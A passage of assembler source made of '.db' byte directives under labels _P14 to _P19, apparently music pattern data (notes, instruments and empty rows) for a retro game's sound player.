.db #0x27 ; 39
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x24 ; 36
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x24 ; 36
.db #0x70 ; 112 'p'
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x1d ; 29
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x27 ; 39
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x1d ; 29
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x29 ; 41
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x02 ; 2
.db #0x0a ; 10
.db #0x22 ; 34
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x26 ; 38
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x01 ; 1
.db #0x02 ; 2
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x10 ; 16
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x10 ; 16
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x2e ; 46
.db #0x03 ; 3
.db #0x04 ; 4
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x04 ; 4
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x3c ; 60
.db #0x04 ; 4
.db #0x2c ; 44
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x2e ; 46
.db #0x3c ; 60
.db #0x04 ; 4
.db #0x29 ; 41
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x2c ; 44
.db #0x3c ; 60
.db #0x04 ; 4
.db #0x27 ; 39
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x26 ; 38
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x27 ; 39
.db #0x3c ; 60
.db #0x04 ; 4
.db #0x2c ; 44
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x26 ; 38
.db #0x3c ; 60
.db #0x04 ; 4
.db #0x27 ; 39
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x26 ; 38
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x22 ; 34
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
_P14:
.db #0x37 ; 55 '7'
.db #0x90 ; 144
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x33 ; 51 '3'
.db #0x40 ; 64
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x90 ; 144
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x33 ; 51 '3'
.db #0x40 ; 64
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x90 ; 144
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x33 ; 51 '3'
.db #0x40 ; 64
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x90 ; 144
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x33 ; 51 '3'
.db #0x40 ; 64
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x90 ; 144
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x33 ; 51 '3'
.db #0x40 ; 64
.db #0x00 ; 0
.db #0x33 ; 51 '3'
.db #0x40 ; 64
.db #0x00 ; 0
_P15:
.db #0x24 ; 36
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x24 ; 36
.db #0x3c ; 60
.db #0x03 ; 3
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x29 ; 41
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x30 ; 48 '0'
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x30 ; 48 '0'
.db #0x3c ; 60
.db #0x03 ; 3
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x35 ; 53 '5'
.db #0x33 ; 51 '3'
.db #0x03 ; 3
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x03 ; 3
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x33 ; 51 '3'
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x2c ; 44
.db #0x3c ; 60
.db #0x03 ; 3
.db #0x30 ; 48 '0'
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x33 ; 51 '3'
.db #0x3c ; 60
.db #0x03 ; 3
.db #0x2c ; 44
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x30 ; 48 '0'
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x02 ; 2
.db #0x01 ; 1
.db #0x5a ; 90 'Z'
.db #0x02 ; 2
.db #0x01 ; 1
.db #0x2e ; 46
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x2c ; 44
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x3c ; 60
.db #0x03 ; 3
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x2e ; 46
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x3c ; 60
.db #0x03 ; 3
.db #0x2c ; 44
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x2e ; 46
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x2c ; 44
.db #0x3c ; 60
.db #0x03 ; 3
.db #0x2c ; 44
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x2e ; 46
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x2c ; 44
.db #0x3c ; 60
.db #0x03 ; 3
.db #0x30 ; 48 '0'
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x33 ; 51 '3'
.db #0x3c ; 60
.db #0x03 ; 3
.db #0x35 ; 53 '5'
.db #0x33 ; 51 '3'
.db #0x01 ; 1
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x01 ; 1
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x01 ; 1
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x01 ; 1
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x01 ; 1
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x02 ; 2
.db #0x05 ; 5
.db #0x5a ; 90 'Z'
.db #0x02 ; 2
.db #0x05 ; 5
.db #0x5a ; 90 'Z'
.db #0x02 ; 2
.db #0x05 ; 5
.db #0x5a ; 90 'Z'
.db #0x02 ; 2
.db #0x05 ; 5
_P16:
.db #0x1d ; 29
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x20 ; 32
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x22 ; 34
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x26 ; 38
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2e ; 46
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x32 ; 50 '2'
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x2e ; 46
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x26 ; 38
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x22 ; 34
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x26 ; 38
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2e ; 46
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x32 ; 50 '2'
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x2e ; 46
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x26 ; 38
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x35 ; 53 '5'
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x35 ; 53 '5'
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
_P17:
.db #0x29 ; 41
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x27 ; 39
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x29 ; 41
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x04 ; 4
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x04 ; 4
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x04 ; 4
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x04 ; 4
.db #0x29 ; 41
.db #0x34 ; 52 '4'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x02 ; 2
.db #0x27 ; 39
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x3c ; 60
.db #0x03 ; 3
.db #0x24 ; 36
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x27 ; 39
.db #0x3c ; 60
.db #0x03 ; 3
.db #0x29 ; 41
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x27 ; 39
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0xa1 ; 161
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x00 ; 0
.db #0x2c ; 44
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x2e ; 46
.db #0x03 ; 3
.db #0x02 ; 2
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x02 ; 2
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0xa1 ; 161
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x00 ; 0
.db #0x30 ; 48 '0'
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x02 ; 2
.db #0x2e ; 46
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x2c ; 44
.db #0x3c ; 60
.db #0x03 ; 3
.db #0x29 ; 41
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x2c ; 44
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x3c ; 60
.db #0x03 ; 3
.db #0x2e ; 46
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x30 ; 48 '0'
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x2e ; 46
.db #0x3c ; 60
.db #0x03 ; 3
.db #0x2e ; 46
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x30 ; 48 '0'
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x2e ; 46
.db #0x3c ; 60
.db #0x03 ; 3
.db #0x33 ; 51 '3'
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0xa1 ; 161
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x02 ; 2
.db #0x35 ; 53 '5'
.db #0x03 ; 3
.db #0x03 ; 3
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x1d ; 29
.db #0x03 ; 3
.db #0x07 ; 7
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x07 ; 7
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x07 ; 7
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x07 ; 7
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x07 ; 7
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x07 ; 7
_P18:
.db #0x1d ; 29
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x0e ; 14
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x0e ; 14
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x0e ; 14
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x1d ; 29
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x1d ; 29
.db #0x1c ; 28
.db #0x03 ; 3
.db #0x29 ; 41
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x1c ; 28
.db #0x03 ; 3
.db #0x27 ; 39
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0xa1 ; 161
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x02 ; 2
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x04 ; 4
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x04 ; 4
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x04 ; 4
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x1d ; 29
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x27 ; 39
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x1d ; 29
.db #0x1c ; 28
.db #0x03 ; 3
.db #0x29 ; 41
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x27 ; 39
.db #0x1c ; 28
.db #0x03 ; 3
.db #0x26 ; 38
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x1c ; 28
.db #0x03 ; 3
.db #0x26 ; 38
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x22 ; 34
.db #0x03 ; 3
.db #0x06 ; 6
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x06 ; 6
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x26 ; 38
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x22 ; 34
.db #0x1c ; 28
.db #0x03 ; 3
.db #0x24 ; 36
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x22 ; 34
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x03 ; 3
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x03 ; 3
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x03 ; 3
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x03 ; 3
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
_P19:
.db #0x1d ; 29
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
